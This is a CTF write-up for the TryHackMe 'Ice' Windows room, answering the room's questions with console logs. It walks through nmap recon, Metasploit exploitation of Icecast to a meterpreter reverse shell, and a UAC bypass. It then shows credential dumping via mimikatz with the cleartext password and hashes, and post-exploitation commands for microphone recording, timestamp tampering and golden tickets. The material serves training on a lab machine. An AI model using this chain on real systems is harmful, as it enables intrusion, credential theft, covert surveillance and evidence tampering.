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This is a write up for the room Ice on the CTF platform TryHackMe. Ice is a windows machine with a notable vulnerablity in its secured media server.

Tools Used:

Task 1 Connect

Browse to your openvpn file and use the following command

sudo openvpn youfilehere.ovpn

Task 2 Recon

After machine is deployed takes up to 3 minutes we will perform a syn scan using nmap. Syn scans use the flag -sS

└─$ sudo nmap -T5 -sV -sS
[sudo] password for hhhharshil: 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-24 11:25 EDT
Nmap scan report for
Host is up (0.086s latency).
Not shown: 988 closed ports
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  tcpwrapped
5357/tcp  open  wsdapi?
8000/tcp  open  http         Icecast streaming media server
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49158/tcp open  unknown
49159/tcp open  unknown
49160/tcp open  unknown
Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.63 seconds

Q: Once the scan completes, we’ll see a number of interesting ports open on this machine. As you might have guessed, the firewall has been disabled (with the service completely shutdown), leaving very little to protect this machine. One of the more interesting ports that is open is Microsoft Remote Desktop (MSRDP). What port is this open on?

A: As shown in the Nmap Scan Above Port 3389 is open aka RDP.

Q: What service did nmap identify as running on port 8000? (First word of this service)

A: Icecast (see scan above)

Q: What does Nmap identify as the hostname of the machine? (All caps for the answer)

A: DARK-PC (see scan above)

Task 3 Gain Access

Q: Now that we’ve identified some interesting services running on our target machine, let’s do a little bit of research into one of the weirder services identified: Icecast. Icecast, or well at least this version running on our target, is heavily flawed and has a high level vulnerability with a score of 7.5 (7.4 depending on where you view it). What type of vulnerability is it? Use https://www.cvedetails.com for this question and the next.


Q: After Metasploit has started, let’s search for our target exploit using the command ‘search icecast’. What is the full path (starting with exploit) for the exploitation module? This module is also referenced in ‘RP: Metasploit’ which is recommended to be completed prior to this room, although not entirely necessary.

A: exploit/windows/http/icecast_header

msf6 > search icecast

Matching Modules

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/http/icecast_header  2004-09-28       great  No     Icecast Header Overwrite

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header

Q: Following selecting our module, we now have to check what options we have to set. Run the command show options. What is the only required setting which currently is blank?


msf6 exploit(windows/http/icecast_header) > show options

Module options (exploit/windows/http/icecast_header):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   8000             yes       The target port (TCP)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

First let’s check that the LHOST option is set to our tun0 IP (which can be found on the access page). With that done, let’s set that last option to our target IP. Now that we have everything ready to go, let’s run our exploit using the command exploit

msf6 exploit(windows/http/icecast_header) > set lhost
lhost =>
msf6 exploit(windows/http/icecast_header) > set rhosts
rhosts =>
msf6 exploit(windows/http/icecast_header) > exploit

[*] Started reverse TCP handler on 
[*] Sending stage (175174 bytes) to
[*] Meterpreter session 1 opened ( -> at 2021-05-24 11:39:49 -0400

meterpreter > 

Task 4 Escalate

Q: What is the name of the shell we have?

A: meterpreter

Q: What user was running that Icecast process? The commands used in this question and the next few are taken directly from the ‘RP: Metasploit’ room.

A: Dark

meterpreter > getuid
Server username: Dark-PC\Dark

Q: What build of Windows is the system?

A: 7601

meterpreter > sysinfo
Computer        : DARK-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

Q: Now that we know some of the finer details of the system we are working with, let’s start escalating our privileges. First, what is the architecture of the process we’re running?

A: x64

Q: Now that we know the architecture of the process, let’s perform some further recon. While this doesn’t work the best on x64 machines, let’s now run the following command run post/multi/recon/local_exploit_suggester. This can appear to hang as it tests exploits and might take several minutes to complete


[*] - Collecting local exploits for x86/windows...
[*] - 37 exploit checks are being tried...
[+] - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
nil versions are discouraged and will be deprecated in Rubygems 4
[+] - exploit/windows/local/ikeext_service: The target appears to be vulnerable.
[+] - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.

Q: Running the local exploit suggester will return quite a few results for potential escalation exploits. What is the full path (starting with exploit/) for the first returned exploit?

A: exploit/windows/local/bypassuac_eventvwr This was grabbed from running local exploit suggester via metasploit.

Q: Now that we’ve set our session number, further options will be revealed in the options menu. We’ll have to set one more as our listener IP isn’t correct. What is the name of this option?

A: Listener IP is what the LHOST is refferred to. Use “show options” for further clarification.

Q: We can now verify that we have expanded permissions using the command getprivs. What permission listed allows us to take ownership of files?

A: SeTakeOwnershipPrivilege

msf6 exploit(windows/local/bypassuac_eventvwr) > set session 6
session => 6
msf6 exploit(windows/local/bypassuac_eventvwr) > exploit

[*] Started reverse TCP handler on 
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[*] Sending stage (175174 bytes) to
[*] Meterpreter session 7 opened ( -> at 2021-05-24 12:54:10 -0400
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.
[*] Sending stage (175174 bytes) to
[*] Meterpreter session 8 opened ( -> at 2021-05-24 12:54:17 -0400
[*] Cleaning up registry keys ...
meterpreter > getprivs

Enabled Process Privileges


Task 5 Looting

Q: In order to interact with lsass we need to be ‘living in’ a process that is the same architecture as the lsass service (x64 in the case of this machine) and a process that has the same permissions as lsass. The printer spool service happens to meet our needs perfectly for this and it’ll restart if we crash it! What’s the name of the printer service?

Mentioned within this question is the term ‘living in’ a process. Often when we take over a running program we ultimately load another shared library into the program (a dll) which includes our malicious code. From this, we can spawn a new thread that hosts our shell.

A: spoolsv.exe

Q: Let’s check what user we are now with the command getuid. What user is listed?


meterpreter > migrate -N spoolsv.exe
[*] Migrating from 1120 to 1368...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Q: Which command allows up to retrieve all credentials?

A: creds all

Q: Run this command now. What is Dark’s password? Mimikatz allows us to steal this password out of memory even without the user ‘Dark’ logged in as there is a scheduled task that runs the Icecast as the user ‘Dark’. It also helps that Windows Defender isn’t running on the box ;) (Take a look again at the ps list, this box isn’t in the best shape with both the firewall and defender disabled)

A: Password01

meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials

Username  Domain   LM                                NTLM                              SHA1
--------  ------   --                                ----                              ----
Dark      Dark-PC  e52cac67419a9a22ecb08369099ed302  7c4fe5eada682714a036e39378362bab  0d082c4b4f2aeafb67fd0ea568a997e9d3ebc0eb

wdigest credentials

Username  Domain     Password
--------  ------     --------
(null)    (null)     (null)
Dark      Dark-PC    Password01!

tspkg credentials

Username  Domain   Password
--------  ------   --------
Dark      Dark-PC  Password01!

kerberos credentials

Username  Domain     Password
--------  ------     --------
(null)    (null)     (null)
Dark      Dark-PC    Password01!
dark-pc$  WORKGROUP  (null)

Task 6 Post Exploitation

Q: What command allows us to dump all of the password hashes stored on the system? We won’t crack the Administrative password in this case as it’s pretty strong (this is intentional to avoid password spraying attempts)

A: Hash Dump

Q: While more useful when interacting with a machine being used, what command allows us to watch the remote user’s desktop in real time?

A: Screenshare

Q: How about if we wanted to record from a microphone attached to the system?

A: record_mic

Q: To complicate forensics efforts we can modify timestamps of files on the system. What command allows us to do this? Don’t ever do this on a pentest unless you’re explicitly allowed to do so! This is not beneficial to the defending team as they try to breakdown the events of the pentest after the fact.

A: timestomp

Q:Mimikatz allows us to create what’s called a golden ticket, allowing us to authenticate anywhere with ease. What command allows us to do this? Golden ticket attacks are a function within Mimikatz which abuses a component to Kerberos (the authentication system in Windows domains), the ticket-granting ticket. In short, golden ticket attacks allow us to maintain persistence and authenticate as any user on the domain.

A: golden_ticket_create